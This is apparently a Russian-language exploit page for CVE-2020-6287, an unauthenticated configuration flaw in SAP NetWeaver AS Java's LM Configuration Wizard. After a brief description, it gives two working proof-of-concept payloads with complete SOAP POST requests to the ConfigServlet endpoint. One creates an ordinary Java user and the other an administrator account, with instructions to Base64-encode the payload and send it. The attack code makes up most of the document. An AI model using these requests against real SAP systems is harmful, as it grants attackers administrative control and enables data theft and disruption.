
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Обход аутентификации (создание простого и административного пользователя Java)
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard): обход аутентификации (создание обычного и административного Java-пользователя)
SAP NetWeaver — это интегрированная технологическая платформа SAP и техническая основа всех приложений SAP, начиная с SAP Business Suite. SAP NetWeaver — это сервис-ориентированная платформа для приложений и интеграции, которая предоставляет среду разработки и выполнения для приложений SAP, а также может использоваться для заказной разработки и интеграции с другими приложениями и системами. SAP NetWeaver AS JAVA (LM Configuration Wizard) версий 7.30, 7.31, 7.40, 7.50 не выполняет проверку аутентификации, что позволяет атакующему без предварительной аутентификации выполнять задачи конфигурирования для осуществления критических действий против Java-системы SAP, включая возможность создания административного пользователя, что ставит под угрозу конфиденциальность, целостность и доступность системы и приводит к отсутствию проверки аутентификации.
GET /CTCWebService/CTCWebServiceBean?wsdlProof of Concept (PoC) 1Proof of Concept (PoC) 2CVE-2020-6286Proof of Concept (PoC) 1: создание обычного Java-пользователя
Полезная нагрузка
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>
Закодируйте приведённую выше полезную нагрузку в Base64 и вставьте её в поле <BASE64_ENCODED_PAYLOAD_HERE> приведённого ниже запроса
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Proof of Concept (PoC) 2: создание административного Java-пользователя
Полезная нагрузка
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>
Закодируйте приведённую выше полезную нагрузку в Base64 и вставьте её в поле <BASE64_ENCODED_PAYLOAD_HERE> приведённого ниже запроса
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>